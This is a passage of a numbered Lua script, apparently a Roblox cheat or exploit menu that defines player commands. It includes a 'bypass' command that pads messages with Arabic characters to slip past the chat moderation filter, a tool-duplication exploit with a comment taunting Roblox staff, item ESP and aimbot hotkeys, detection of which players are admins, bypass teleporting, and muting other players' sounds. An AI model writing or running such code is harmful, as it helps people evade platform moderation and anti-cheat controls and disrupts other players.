9286function useCommand.knife()
9287 opx("-","If you had a knife in your mouth you are now holding it")
9288 for _, hat in pairs(cmdlp.Character.Humanoid:GetAccessories()) do
9289 if hat.Handle ~= nil then
9290 if hat.Name == "YandereKnife" then
9291 local tool = Instance.new("Tool", cmdlp.Backpack)
9292 tool.Name = cmdlp.Name.."'s Blade"
9293 tool.Parent = cmdp.LocalPlayer.Character
9294 tool.GripForward = Vector3.new(-0, -0, -1)
9295 tool.GripPos = Vector3.new(-0.83, -0, 0.11)
9296 tool.GripRight = Vector3.new(0, -1, 0)
9297 tool.GripUp = Vector3.new(1, 0, -0)
9298 local hathandle = hat.Handle
9299 hathandle:FindFirstChildOfClass("Weld"):Destroy()
9300 hathandle.Parent = tool
9301 hathandle.Massless = true
9302 end
9303 end
9304 end
9305 local Anim = Instance.new("Animation")
9306 Anim.AnimationId = "rbxassetid://74799600"
9307 local play = cmdlp.Character.Humanoid:LoadAnimation(Anim)
9308 while wait() do
9309 for i,v in pairs(cmdlp.Character:GetChildren()) do
9310 if v:IsA("Tool") then
9311 v.Equipped:Connect(function(Mouse)
9312 Mouse.Button1Down:Connect(function()
9313 play:Play()
9314 wait(1)
9315 play:Stop()
9316 end)
9317 end)
9318 end
9319 end
9320 end
9321end
9322
9323function useCommand.sai()
9324 opx("-","If you had sais on your waist you are now holding them")
9325 for _, hat in pairs(cmdp.LocalPlayer.Character.Humanoid:GetAccessories()) do
9326 if hat.Handle ~= nil then
9327 if hat.Name == "Dual SaiAccessory" then
9328 local tool = Instance.new("Tool", cmdp.LocalPlayer.Backpack)
9329 tool.Name = cmdlp.Name.."'s Sai"
9330 tool.Parent = cmdp.LocalPlayer.Character
9331 tool.GripForward = Vector3.new(0.035, 0.743, 0.669)
9332 tool.GripPos = Vector3.new(1.46, 0.89, -0.97)
9333 tool.GripRight = Vector3.new(0.999, -0.026, -0.023)
9334 tool.GripUp = Vector3.new(-0, -0.669, 0.743)
9335 local hathandle = hat.Handle
9336 hathandle:FindFirstChildOfClass("Weld"):Destroy()
9337 hathandle.Parent = tool
9338 hathandle.Massless = true
9339 end
9340 end
9341 end
9342 local Anim = Instance.new("Animation")
9343 Anim.AnimationId = "rbxassetid://185824714"
9344 local play = cmdlp.Character.Humanoid:LoadAnimation(Anim)
9345 play:Play()
9346end
9347
9348function useCommand.present()
9349 opx("-","If you had a present you are now holding it")
9350 for _, hat in pairs(cmdp.LocalPlayer.Character.Humanoid:GetAccessories()) do
9351 if hat.Handle ~= nil then
9352 local tool = Instance.new("Tool", cmdp.LocalPlayer.Backpack)
9353 tool.Name = cmdp.LocalPlayer.Name.."s present"
9354 tool.Parent = cmdp.LocalPlayer.Character
9355 tool.GripForward = Vector3.new(0, 0, -1)
9356 tool.GripPos = Vector3.new(-0, -0.54, 0.72)
9357 tool.GripRight = Vector3.new(1, 0, 0)
9358 tool.GripUp = Vector3.new(0, 1, 0)
9359 local hathandle = hat.Handle
9360 hathandle:FindFirstChildOfClass("Weld"):Destroy()
9361 hathandle.Parent = tool
9362 hathandle.Massless = true
9363 end
9364 end
9365end
9366
9367function useCommand.boombox()
9368 opx("-","If you had a boombox on your back you are now holding it")
9369 for _, hat in pairs(cmdlp.Character.Humanoid:GetAccessories()) do
9370 if hat.Handle ~= nil then
9371 if hat.Name == "Boomblox Back Boombox" then
9372 local tool = Instance.new("Tool", cmdlp.Backpack)
9373 tool.Name = cmdlp.Name.."s boombox"
9374 tool.Parent = cmdlp.Character
9375 tool.GripForward = Vector3.new(0.935, 0.354, -0.03)
9376 tool.GripPos = Vector3.new(1.36, -1.05, 0)
9377 tool.GripRight = Vector3.new(0.031, 0.003, 1)
9378 tool.GripUp = Vector3.new(-0.354, 0.935, 0.008)
9379 local hathandle = hat.Handle
9380 hathandle:FindFirstChildOfClass("Weld"):Destroy()
9381 hathandle.Parent = tool
9382 hathandle.Massless = true
9383 end
9384 end
9385 end
9386end
9387
9388function useCommand.gearhat()
9389 for i,tool in pairs(cmdlp.Backpack:GetChildren()) do
9390 if tool:IsA("Tool") then
9391 tool.Parent = cmdlp.Backpack
9392 tool.GripForward = Vector3.new(0, 1, 0)
9393 tool.GripPos = Vector3.new(1.49, 1.45, -0.97)
9394 tool.GripRight = Vector3.new(1, 0, 0)
9395 tool.GripUp = Vector3.new(0, 0, 1)
9396 tool.Parent = cmdlp.Character
9397 end
9398 end
9399 opx("-","Your gears are now hats")
9400end
9401
9402function useCommand.bypass()
9403 local message = getstring(2)
9404 local s1 = message:gsub("i", "iأ")
9405 local s2 = s1:gsub("e", "eأ")
9406 local s3 = s2:gsub("u", "uأ")
9407 local s4 = s3:gsub("f", "fأ")
9408 local s5 = s4:gsub("o", "oأ")
9409 local s6 = s5:gsub("c", "cأ")
9410 local s7 = s6:gsub("p", "pأ")
9411 local s8 = s7:gsub("s", "sأ")
9412 local s9 = s8:gsub("t", "tأ")
9413 opx("-","Successfully bypassed! "..s9)
9414 game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(s9, "All")
9415end
9416
9417function useCommand.emote()
9418 if arguments[2] then
9419 if cmd15(cmdlp) then
9420 animations = {
9421 Agree = 4841397952;
9422 Disagree = 4841401869;
9423 ["Power Blast"] = 4841403964;
9424 Happy = 4841405708;
9425 Sad = 4841407203;
9426 ["Bunny Hop"] = 4641985101;
9427 ["Peanut Butter Jelly Dance"] = 4406555273;
9428 ["Around Town"] = 3303391864;
9429 ["Top Rock"] = 3361276673;
9430 ["Jumping Wave"] = 4940564896;
9431 ["Keeping Time"] = 4555808220;
9432 Fashionable = 3333331310;
9433 Robot = 3338025566;
9434 Twirl = 3334968680;
9435 Jacks = 3338066331;
9436 T = 3338010159;
9437 Shy = 3337978742;
9438 Monkey = 3333499508;
9439 ["Borock's Rage"] = 3236842542;
9440 ["Ud'zal's Summoning"] = 3303161675;
9441 ["Hype Dance"] = 3695333486;
9442 Godlike = 3337994105;
9443 Swoosh = 3361481910;
9444 Sneaky = 3334424322;
9445 ["Side to Side"] = 3333136415;
9446 Greatest = 3338042785;
9447 Louder = 3338083565;
9448 Celebrate = 3338097973;
9449 Haha = 3337966527;
9450 ["Get Out"] = 3333272779;
9451 Tree = 4049551434;
9452 Fishing = 3334832150;
9453 ["Fast Hands"] = 4265701731;
9454 Y = 4349285876;
9455 Zombie = 4210116953;
9456 ["Baby Dance"] = 4265725525;
9457 ["Line Dance"] = 4049037604;
9458 Dizzy = 3361426436;
9459 Shuffle = 4349242221;
9460 ["Dorky Dance"] = 4212455378;
9461 BodyBuilder = 3333387824;
9462 Idol = 4101966434;
9463 ["Fancy Feet"] = 3333432454;
9464 Curtsy = 4555816777;
9465 ["Air Dance"] = 4555782893;
9466 ["Chicken Dance"] = 4841399916;
9467 Disagree = 4841401869;
9468 Sleep = 4686925579;
9469 }
9470 animationdebounce = false
9471 cmdlp.Character.Animate.Disabled = true
9472 for i,v in pairs(cmdlp.Character.Humanoid:GetPlayingAnimationTracks()) do
9473 v:Stop()
9474 end
9475 function PlayAnim(id)
9476 animationdebounce = true
9477 local Anim = Instance.new("Animation")
9478 Anim.AnimationId = "rbxassetid://"..id
9479 local salute = cmdlp.Character.Humanoid:LoadAnimation(Anim)
9480 salute.Name = "AP"
9481 salute:Play()
9482 salute.Stopped:Connect(function()
9483 cmdlp.Character.Animate.Disabled = false
9484 animationdebounce = false
9485 end)
9486 end
9487 gotanim = false
9488 lower = string.lower(arguments[2])
9489 for i,v in pairs(animations) do
9490 if lower == string.sub(string.lower(tostring(i)), 1, #lower) and gotanim == false then
9491 gotanim = true
9492 PlayAnim(v)
9493 end
9494 end
9495 local function Moved()
9496 if cmdlp.Character.Humanoid.MoveDirection ~= VectorZero and animationdebounce == true then
9497 for i,v in pairs(cmdlp.Character.Humanoid:GetPlayingAnimationTracks()) do
9498 v:Stop()
9499 end
9500 end
9501 end
9502 cmdlp.Character.Humanoid:GetPropertyChangedSignal("MoveDirection"):Connect(Moved)
9503 opx("-","Now playing emote")
9504 else
9505 opx("*","R15 is needed for this command!")
9506 end
9507 else
9508 opx("*","2 arguments are needed for this command!")
9509 end
9510end
9511
9512function useCommand.printcommands()
9513 opx("-","CMDS Loaded (See them in F9)")
9514 for i,v in pairs(CMD) do
9515 splitCMD = v:split(",")
9516 print(splitCMD[1]..": "..splitCMD[2].." "..splitCMD[3].." - "..splitCMD[4])
9517 end
9518end
9519
9520function useCommand.chatframe()
9521 if arguments[2] then
9522 target = findplr(arguments[2])
9523 if target then
9524 game:GetService("Chat"):Chat(target.Character.Head,getstring(3),Enum.ChatColor.White)
9525 opx("-","Forced "..target.Name.." to say "..getstring(3))
9526 else
9527 opx("*","Player does not exist!")
9528 end
9529 else
9530 opx("*","2 arguments are needed for this command!")
9531 end
9532end
9533
9534local fbc = false
9535function useCommand.forcebubblechat()
9536 fbc = true
9537 opx("-","Started bubble chat")
9538 if fbc == true then
9539 cmdp.PlayerAdded:connect(function(plr)
9540 plr.Chatted:connect(function(msg)
9541 if fbc == true then
9542 game:GetService("Chat"):Chat(plr.Character.Head,msg,Enum.ChatColor.White)
9543 end
9544 end)
9545 end)
9546 for i,v in pairs(cmdp:GetPlayers()) do
9547 v.Chatted:connect(function(msg)
9548 if fbc == true then
9549 game:GetService("Chat"):Chat(v.Character.Head,msg,Enum.ChatColor.White)
9550 end
9551 end)
9552 end
9553 end
9554end
9555
9556function useCommand.unforcebubblechat()
9557 fbc = false
9558 opx("-","Stopped bubble chat")
9559end
9560
9561local IESPenabled = false
9562function useCommand.itemesp()
9563 opx("-","IESP Enabled")
9564 IESPenabled = true
9565 for _,i in pairs(workspace:GetDescendants()) do
9566 if i:IsA("BasePart") and i.Parent.ClassName ~= "Accessory" then
9567 local pi = i.Name:lower()
9568 local pt = "handle"
9569 local pt1 = "tool"
9570 local pt2 = "item"
9571 local z = string.find(pi,pt)
9572 local z1 = string.find(pi,pt1)
9573 local z2 = string.find(pi,pt2)
9574 if z ~= nil or z1 ~= nil or z2 ~= nil then
9575 IESP(i)
9576 end
9577 end
9578 end
9579end
9580
9581function useCommand.unitemesp()
9582 opx("-","IESP Disabled")
9583 IESPenabled = false
9584 for _,i in pairs(workspace:GetDescendants()) do
9585 for a,v in pairs(cmdlp.PlayerGui:GetChildren()) do
9586 if v.Name == i:GetFullName()..'_IESP' then
9587 v:Destroy()
9588 end
9589 end
9590 end
9591end
9592
9593function useCommand.setdiscord()
9594 if arguments[2] then
9595 arguments[2] = arguments[2]:gsub('#',' ')
9596 discordTag = arguments[2]
9597 updatesaves()
9598 opx("-","Set discord to "..arguments[2])
9599 else
9600 opx("*","2 arguments are needed for this command!")
9601 end
9602end
9603
9604function useCommand.saydiscord()
9605 if arguments[2] == "cb" or arguments[2] == "copy" then
9606 setclipboard(discordTag)
9607 end
9608 game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(discordTag, "All")
9609 opx("-","Said discord in chat")
9610end
9611
9612function useCommand.removecustombodyparts()
9613 if cmd6(cmdlp) then
9614 opx("-","Removed all custom body parts")
9615 for i,c in pairs(cmdc:GetChildren()) do
9616 if c:IsA("CharacterMesh") then
9617 c:Destroy()
9618 end
9619 end
9620 else
9621 opx("*","You need to be R6 for this command!")
9622 end
9623end
9624
9625function useCommand.insane()
9626 if cmdlp.Character:FindFirstChild("Humanoid").RigType == Enum.HumanoidRigType.R6 then
9627 opx("-","You are now insane")
9628 local pc = cmdlp.Character
9629 local AnimationId = "33796059"
9630 Spas = Instance.new("Animation")
9631 Spas.AnimationId = "rbxassetid://"..AnimationId
9632 insane = pc.Humanoid:LoadAnimation(Spas)
9633 insane:Play()
9634 insane:AdjustSpeed(99)
9635 else
9636 opx("*","R6 is needed for this command")
9637 end
9638end
9639
9640function useCommand.hotkeyaimbot()
9641 if arguments[2] then
9642 hotkeyaimbot = arguments[2]
9643 updatesaves()
9644 opx("-","Hotkey set to "..arguments[2])
9645 else
9646 opx("*","A key is required")
9647 end
9648end
9649
9650function useCommand.hotkeyesp()
9651 if arguments[2] then
9652 hotkeyesp = arguments[2]
9653 updatesaves()
9654 opx("-","Hotkey set to "..arguments[2])
9655 else
9656 opx("*","A key is required")
9657 end
9658end
9659
9660function useCommand.admindetect()
9661 Scrollingad:ClearAllChildren()
9662 if cmdlp.PlayerGui:FindFirstChild("HDAdminGUIs") then
9663 opx("-","HDADMIN found, make sure to run the command 'admins' in it")
9664 adframe.Visible = true
9665 CreateADLabel("","")
9666 CreateADLabel("","")
9667 local sR = cmdlp.PlayerGui.HDAdminGUIs.MainFrame.Pages.Admin["Server Ranks"]
9668 for i,v in pairs(sR:GetChildren()) do
9669 potentialLabel = v.Name
9670 findDetect = "Label"
9671 local z = string.find(potentialLabel,findDetect)
9672 if z ~= nil then
9673 local rankSub = v.PlrRank.Text:sub(0,#v.PlrRank.Text-6)
9674 CreateADLabel(v.PlrName.Text,rankSub)
9675 end
9676 end
9677 sR.ChildAdded:Connect(function(obj)
9678 potentialLabel = obj.Name
9679 findDetect = "Label"
9680 local z = string.find(potentialLabel,findDetect)
9681 if z ~= nil then
9682 local rankSub = v.PlrRank.Text:sub(0,#v.PlrRank.Text-6)
9683 CreateADLabel(v.PlrName.Text,rankSub.." | HDADMIN")
9684 end
9685 end)
9686 elseif workspace:FindFirstChild("Kohl's Admin Infinite") then
9687 opx("-","KOHL'S found")
9688 adframe.Visible = true
9689 CreateADLabel("","")
9690 CreateADLabel("","")
9691 for i,v in pairs(game:GetService("ReplicatedStorage"):GetDescendants()) do
9692 if v.Name == "log" then
9693 adminTable = v.Parent:FindFirstChildOfClass("StringValue")
9694 end
9695 end
9696 local adminTableS = {{N = "", I = ""}}
9697 adminTableS.N = adminTable.Value:split(" ")
9698 for i,v in pairs(adminTableS.N) do
9699 adminTableS.N[i] = adminTableS.N[i]:gsub("-","")
9700 adminTableS.N[i] = adminTableS.N[i]:sub(0,#adminTableS.N[i]-2)
9701 for _,n in pairs(cmdp:GetPlayers()) do
9702 vID = n.UserId
9703 z = string.find(adminTableS.N[i],vID)
9704 if z ~= nil then
9705 CreateADLabel(n.Name,"Staff | KOHLS")
9706 end
9707 end
9708 end
9709 cmdp.PlayerAdded:Connect(function(plr)
9710 for i,v in pairs(game:GetService("ReplicatedStorage"):GetDescendants()) do
9711 if v.Name == "log" then
9712 adminTable = v.Parent:FindFirstChildOfClass("StringValue")
9713 end
9714 end
9715 local adminTableS = {{N = "", I = ""}}
9716 adminTableS.N = adminTable.Value:split(" ")
9717 for i,v in pairs(adminTableS.N) do
9718 adminTableS.N[i] = adminTableS.N[i]:gsub("-","")
9719 adminTableS.N[i] = adminTableS.N[i]:sub(0,#adminTableS.N[i]-2)
9720 vID = plr.UserId
9721 z = string.find(adminTableS.N[i],vID)
9722 if z ~= nil then
9723 CreateADLabel(plr.Name,"Staff | KOHLS")
9724 end
9725 end
9726 end)
9727 else
9728 opx("*","Unable to detect an adminGUI")
9729 end
9730end
9731
9732function useCommand.streamermode()
9733 opx("-","Streamer Mode enabled")
9734 game:GetService("CoreGui").RobloxGui.TopBarContainer.NameHealthContainer.Username.Text = ""
9735 game:GetService("CoreGui").RobloxGui.TopBarContainer.NameHealthContainer.AccountType.Text = ""
9736 for i,v in pairs(cmdp:GetChildren()) do
9737 if v.Name ~= cmdlp.Name and v.Character and v.Character:FindFirstChild("Head") then
9738 local char = v.Character
9739 local head = char:FindFirstChild('Head')
9740 local m = Instance.new("Model", char) m.Name = ""
9741 local cl = char.Head:Clone() cl.Parent = m
9742 local hum = Instance.new("Humanoid", m)
9743 hum.Name = "NameTag"
9744 hum.MaxHealth = v.Character.Humanoid.MaxHealth
9745 wait()
9746 hum.Health = v.Character.Humanoid.Health
9747 cl.CanCollide = false
9748 local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
9749 char.Head.Transparency = 1
9750 end
9751 end
9752 for i,v in pairs(cmdp:GetChildren()) do
9753 v.CharacterAdded:Connect(function(v)
9754 wait(2)
9755 local char = v
9756 local head = char.Head
9757 local m = Instance.new("Model", char) m.Name = ""
9758 local cl = char.Head:Clone() cl.Parent = m
9759 local hum = Instance.new("Humanoid", m)
9760 hum.Name = "NameTag"
9761 hum.MaxHealth = char.Humanoid.MaxHealth
9762 wait()
9763 hum.Health = char.Humanoid.Health
9764 cl.CanCollide = false
9765 local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
9766 char.Head.Transparency = 1
9767 end)
9768 end
9769 cmdp.PlayerAdded:Connect(function(v)
9770 wait(2)
9771 local char = v.Character
9772 local head = char.Head
9773 local m = Instance.new("Model", char) m.Name = ""
9774 local cl = char.Head:Clone() cl.Parent = m
9775 local hum = Instance.new("Humanoid", m)
9776 hum.Name = "NameTag"
9777 hum.MaxHealth = char.Humanoid.MaxHealth
9778 wait()
9779 hum.Health = char.Humanoid.Health
9780 cl.CanCollide = false
9781 local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
9782 char.Head.Transparency = 1
9783 end)
9784 local Chat = cmdlp.PlayerGui.Chat:WaitForChild("Frame").ChatChannelParentFrame["Frame_MessageLogDisplay"].Scroller
9785 Chat.ChildAdded:Connect(function(fr)
9786 if fr:IsA("Frame") then
9787 local frg = fr.TextLabel.TextButton.Text
9788 fr.TextLabel.TextButton.Text = ""
9789 end
9790 end)
9791 local Players = game:GetService("CoreGui").RobloxGui.PlayerListMaster:WaitForChild("OffsetFrame").PlayerScrollList.ScrollingFrameContainer.ScrollingFrameClippingFrame.ScollingFrame.OffsetUndoFrame
9792 for i,fr in pairs(Players:GetChildren()) do
9793 if fr:IsA("Frame") then
9794 fr.ChildrenFrame.NameFrame.BGFrame.OverlayFrame.PlayerName.PlayerName.Text = ""
9795 end
9796 end
9797 Players.ChildAdded:Connect(function(fr)
9798 if fr:IsA("Frame") then
9799 fr.ChildrenFrame.NameFrame.BGFrame.OverlayFrame.PlayerName.PlayerName.Text = ""
9800 end
9801 end)
9802end
9803
9804function useCommand.permflyspeed()
9805 if cmdnum(arguments[2]) then
9806 opx("-","Perm fly speed updated to "..arguments[2])
9807 permflyspeed = arguments[2]
9808 updatesaves()
9809 else
9810 opx("*","2 arguments are required for this command")
9811 end
9812end
9813
9814local Loopto = false
9815function useCommand.loopgoto()
9816 if arguments[2] then
9817 target = findplr(arguments[2])
9818 if target then
9819 if target.Character and target.Character:FindFirstChild('Humanoid') then
9820 Loopto = true
9821 opx("-","Now LoopTping "..target.Name)
9822 while Loopto == true do
9823 cmdlp.Character.HumanoidRootPart.CFrame = target.Character.HumanoidRootPart.CFrame + Vector3.new(gotoPosSide,gotoPosHead,gotoPos)
9824 wait()
9825 end
9826 end
9827 else
9828 opx("*","Player does not exist!")
9829 end
9830 else
9831 opx("*","2 arguments are needed for this command!")
9832 end
9833end
9834
9835function useCommand.unloopgoto()
9836 Loopto = false
9837 opx("-","No longer LoopTping")
9838end
9839
9840function useCommand.dupegears() -- fuck off roblox stop looking at my source
9841 if cmdnum(arguments[2]) then
9842 opx("-","Duping tools until it reaches "..arguments[2])
9843 InitialPos = cmdlp.Character.HumanoidRootPart.CFrame
9844 cmdlp.Character.HumanoidRootPart.CFrame = CFrame.new(0,1000000,0)
9845 for i = 1,arguments[2] do
9846 cmdlp.Character.HumanoidRootPart.CFrame = CFrame.new(0,1000000,0)
9847 wait(.1)
9848 for i,a in pairs(cmdlp.Backpack:GetDescendants()) do
9849 if a:IsA("Tool") then
9850 a.Parent = cmdlp.Character
9851 a.Parent = workspace
9852 end
9853 end
9854 if Noclipping then
9855 Noclipping:Disconnect()
9856 Clip = false
9857 end
9858 refresh()
9859 wait(.5)
9860 end
9861 cmdlp.Character.HumanoidRootPart.CFrame = InitialPos
9862 wait(2)
9863 cmdlp.Character.HumanoidRootPart.Anchored = true
9864 for i,v in pairs(workspace:GetChildren()) do
9865 if v:IsA("Tool") then
9866 v.Handle.CFrame = cmdlp.Character.HumanoidRootPart.CFrame
9867 end
9868 end
9869 wait(.1)
9870 cmdlp.Character.HumanoidRootPart.CFrame = InitialPos
9871 cmdlp.Character.HumanoidRootPart.Anchored = false
9872 else
9873 opx("*","This command requires 2 arguments")
9874 end
9875end
9876
9877function useCommand.permwalkspeed()
9878 if cmdnum(arguments[2]) then
9879 opx("-","Perm walkspeed updated to "..arguments[2])
9880 permwalkspeed = arguments[2]
9881 updatesaves()
9882 else
9883 opx("*","2 arguments are required for this command")
9884 end
9885end
9886
9887function useCommand.permjumppower()
9888 if cmdnum(arguments[2]) then
9889 opx("-","Perm jumppower updated to "..arguments[2])
9890 permjumppower = arguments[2]
9891 updatesaves()
9892 else
9893 opx("*","2 arguments are required for this command")
9894 end
9895end
9896
9897function useCommand.permhipheight()
9898 if cmdnum(arguments[2]) then
9899 opx("-","Perm hipheight updated to "..arguments[2])
9900 permhipheight = arguments[2]
9901 updatesaves()
9902 else
9903 opx("*","2 arguments are required for this command")
9904 end
9905end
9906
9907function useCommand.permgravity()
9908 if cmdnum(arguments[2]) then
9909 opx("-","Perm gravity updated to "..arguments[2])
9910 permgravity = arguments[2]
9911 updatesaves()
9912 else
9913 opx("*","2 arguments are required for this command")
9914 end
9915end
9916
9917function useCommand.clearoutput()
9918 output1.Text = "";output2.Text = "";output3.Text = "";output4.Text = "";output5.Text = "";output6.Text = "";output7.Text = "";output8.Text = "";output9.Text = ""
9919end
9920
9921function useCommand.gotospawn()
9922 opx("-","Teleported to spawn")
9923 for i,v in pairs(workspace:GetDescendants()) do
9924 if v:IsA("SpawnLocation") then
9925 cmdlp.Character.HumanoidRootPart.CFrame = v.CFrame
9926 break
9927 end
9928 end
9929end
9930
9931function useCommand.gotobp()
9932 if arguments[2] then
9933 target = findplr(arguments[2])
9934 if target then
9935 game:GetService("TweenService"):Create(cmdlp.Character.HumanoidRootPart, TweenInfo.new(1, Enum.EasingStyle.Linear), {CFrame = target.Character.HumanoidRootPart.CFrame}):Play()
9936 opx("-","Now bypass teleporting to "..target.Name)
9937 else
9938 opx("*","Player does not exist!")
9939 end
9940 else
9941 opx("*","2 arguments are needed for this command!")
9942 end
9943end
9944
9945local muteall = false
9946function useCommand.mute()
9947 if arguments[2] then
9948 if arguments[2] == "others" then
9949 opx("-","Mute others enabled")
9950 muteall = true
9951 repeat wait()
9952 for i,v in pairs(workspace:GetDescendants()) do
9953 if v:IsA("Sound") and v.Parent.Parent.Parent.Name ~= cmdlp.Name then
9954 v.Playing = false
9955 end
9956 end
9957 until muteall == false
9958 elseif arguments[2] == "everyone" or arguments[2] == "all" then
9959 opx("-","Mute all enabled")
9960 muteall = true
9961 repeat wait()
9962 for i,v in pairs(workspace:GetDescendants()) do
9963 if v:IsA("Sound") then
9964 v.Playing = false
9965 end
9966 end
9967 until muteall == false
9968 else
9969 target = findplr(arguments[2])
9970 if target then
9971 opx("-","Mute "..target.Name.." enabled")
9972 muteall = true
9973 repeat wait()
9974 for i,v in pairs(workspace:GetDescendants()) do
9975 if v:IsA("Sound") and v.Parent.Parent.Parent.Name == target.Name then
9976 v.Playing = false
9977 end
9978 end
9979 until muteall == false
9980 else
9981 opx("*","Player does not exist!")
9982 end
9983 end
9984 else
9985 opx("*","2 arguments are needed for this command!")
9986 end
9987end
9988
9989function useCommand.unmute()
9990 opx("-","Mute disabled")
9991 muteall = false
9992end
9993
9994function useCommand.vgoto()
9995 if arguments[2] then
9996 target = findplr(arguments[2])
9997 if target then
9998 opx("-","Now vehicle teleporting to "..target.Name)
9999 local Car = cmdlp.Character.Humanoid.SeatPart
10000 Car.Parent.Parent:MoveTo(target.Character.HumanoidRootPart.Position)
10001 else
10002 opx("*","Player does not exist!")
10003 end
10004 else
10005 opx("*","2 arguments are needed for this command!")
10006 end
10007end
10008
10009function useCommand.admin()
10010 if arguments[2] then
10011 target = findplr(arguments[2])
10012 if target then
10013 Adm[#Adm+1] = target.Name
10014 updatesaves()
10015 opx("-","Added "..target.Name.." to admins, please re-execute")
10016 else
10017 opx("*","Player does not exist!")
10018 end
10019 else
10020 opx("*","2 arguments are needed for this command!")
10021 end
10022end
10023
10024function useCommand.unadmin()
10025 if arguments[2] then
10026 for i,v in pairs(Adm) do
10027 if arguments[2] == Adm[i] then
10028 table.remove(Adm[i])
10029 updatesaves()
10030 end
10031 end
10032 opx("-","Removed that player from admins, please re-execute")
10033 else
10034 opx("*","2 arguments are needed for this command!")
10035 end
10036end
10037
10038function useCommand.admins()
10039 xAdm = #Adm.." | "
10040 for i,v in pairs(Adm) do
10041 xAdm = xAdm..Adm[i]..", "
10042 end
10043 opx("-","Listed admins")
10044 opxL("Admins",xAdm)
10045end
10046
10047function useCommand.adminclr()
10048 Adm = {}
10049 updatesaves()
10050 opx("-","Cleared all admins, please re-execute")
10051end
10052
10053ManageHolderHotkey = Instance.new("Frame")
10054MangeScrollHotkey = Instance.new("ScrollingFrame")
10055BtnAddHotkey = Instance.new("TextButton")
10056BtnClearHotkey = Instance.new("TextButton")
10057ManageTitleHotkey = Instance.new("TextLabel")
10058SlideOutHotkey = Instance.new("Frame")
10059Edit1Hotkey = Instance.new("TextBox")
10060Edit2Hotkey = Instance.new("TextBox")
10061Edit3Hotkey = Instance.new("TextBox")
10062TitleSlideHotkey = Instance.new("TextLabel")
10063CancelBtnHotkey = Instance.new("TextButton")
10064ApplyBtnHotkey = Instance.new("TextButton")
10065BtnExitHotkey = Instance.new("TextButton")
10066
10067ManageHolderHotkey.Name = "ManageHolderHotkey"
10068ManageHolderHotkey.Parent = Unnamed
10069ManageHolderHotkey.BackgroundColor3 = Color3.fromRGB(52, 52, 52)
10070ManageHolderHotkey.BackgroundTransparency = -0.010
10071ManageHolderHotkey.BorderSizePixel = 0
10072ManageHolderHotkey.Position = UDim2.new(0.33610791, 0, 0.279678553, 0)
10073ManageHolderHotkey.Size = UDim2.new(0, 424, 0, 294)
10074ManageHolderHotkey.Active = true
10075ManageHolderHotkey.Draggable = true
10076ManageHolderHotkey.Visible = false
10077
10078MangeScrollHotkey.Name = "MangeScrollHotkey"
10079MangeScrollHotkey.Parent = ManageHolderHotkey
10080MangeScrollHotkey.BackgroundColor3 = Color3.fromRGB(58, 58, 58)
10081MangeScrollHotkey.BorderSizePixel = 0
10082MangeScrollHotkey.Position = UDim2.new(0.0268278271, 0, 0.10493198, 0)
10083MangeScrollHotkey.Size = UDim2.new(0, 401, 0, 214)
10084
10085function Template(name,entry)
10086 local TemplateFrame = Instance.new("Frame")
10087 local TemplateName = Instance.new("TextLabel")
10088 local TemplateBtnRemove = Instance.new("TextButton")
10089 local TemplateBtnAdd = Instance.new("TextButton")
10090 local alls2 = 5
10091 for i,v in pairs(MangeScrollHotkey:GetChildren()) do
10092 if v then
10093 alls2 = v.Size.Y.Offset + alls2+5
10094 end
10095 if not v then
10096 alls2 = 5
10097 end
10098 end
10099 TemplateFrame.Name = name
10100 TemplateFrame.Parent = MangeScrollHotkey
10101 TemplateFrame.BackgroundColor3 = Color3.fromRGB(77, 77, 77)
10102 TemplateFrame.BorderSizePixel = 0
10103 TemplateFrame.Position = UDim2.new(-1,0,0,alls2)
10104 TemplateFrame.Size = UDim2.new(0, 368, 0, 19)
10105
10106 TemplateName.Name = "TemplateName"
10107 TemplateName.Parent = TemplateFrame
10108 TemplateName.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
10109 TemplateName.BackgroundTransparency = 1.000
10110 TemplateName.BorderSizePixel = 0
10111 TemplateName.Position = UDim2.new(0.0231884252, 0, 0, 0)
10112 TemplateName.Size = UDim2.new(0, 191, 0, 19)
10113 TemplateName.Font = Enum.Font.GothamBlack
10114 TemplateName.Text = name.."|"..entry
10115 TemplateName.TextColor3 = Color3.fromRGB(255, 255, 255)
10116 TemplateName.TextSize = 14.000
10117 TemplateName.TextXAlignment = Enum.TextXAlignment.Left
10118
10119 TemplateBtnRemove.Name = "TemplateBtnRemove"
10120 TemplateBtnRemove.Parent = TemplateFrame
10121 TemplateBtnRemove.BackgroundColor3 = Color3.fromRGB(176, 176, 176)
10122 TemplateBtnRemove.BackgroundTransparency = 0.700
10123 TemplateBtnRemove.BorderSizePixel = 0
10124 TemplateBtnRemove.Position = UDim2.new(0.859420359, 0, 0, 0)
10125 TemplateBtnRemove.Size = UDim2.new(0, 51, 0, 19)
10126 TemplateBtnRemove.Font = Enum.Font.Gotham
10127 TemplateBtnRemove.Text = "Remove"
10128 TemplateBtnRemove.TextColor3 = Color3.fromRGB(255, 255, 255)
10129 TemplateBtnRemove.TextSize = 12.000
10130 TemplateBtnRemove.MouseButton1Down:Connect(function()
10131 table.remove(hkBinds,entry)
10132 TemplateBtnRemove.Parent:Destroy()
10133 end)
10134
10135 TemplateBtnAdd.Name = "TemplateBtnAdd"
10136 TemplateBtnAdd.Parent = TemplateFrame
10137 TemplateBtnAdd.BackgroundColor3 = Color3.fromRGB(176, 176, 176)
10138 TemplateBtnAdd.BackgroundTransparency = 0.700
10139 TemplateBtnAdd.BorderSizePixel = 0
10140 TemplateBtnAdd.Position = UDim2.new(0.699094296, 0, 0, 0)
10141 TemplateBtnAdd.Size = UDim2.new(0, 51, 0, 19)
10142 TemplateBtnAdd.Font = Enum.Font.Gotham
10143 TemplateBtnAdd.Text = "Edit"
10144 TemplateBtnAdd.TextColor3 = Color3.fromRGB(255, 255, 255)
10145 TemplateBtnAdd.TextSize = 12.000
10146 TemplateBtnAdd.MouseButton1Down:Connect(function()
10147 SlideOutHotkey.Visible = true
10148 CurrentEdit = entry
10149 TitleSlideHotkey.Text = hkBinds[entry].C
10150 end)
10151
10152 TemplateFrame:TweenPosition(UDim2.new(0,3,0,alls2), 'In', 'Quint', 0.5)
10153end
10154
10155BtnAddHotkey.Name = "BtnAddHotkey"
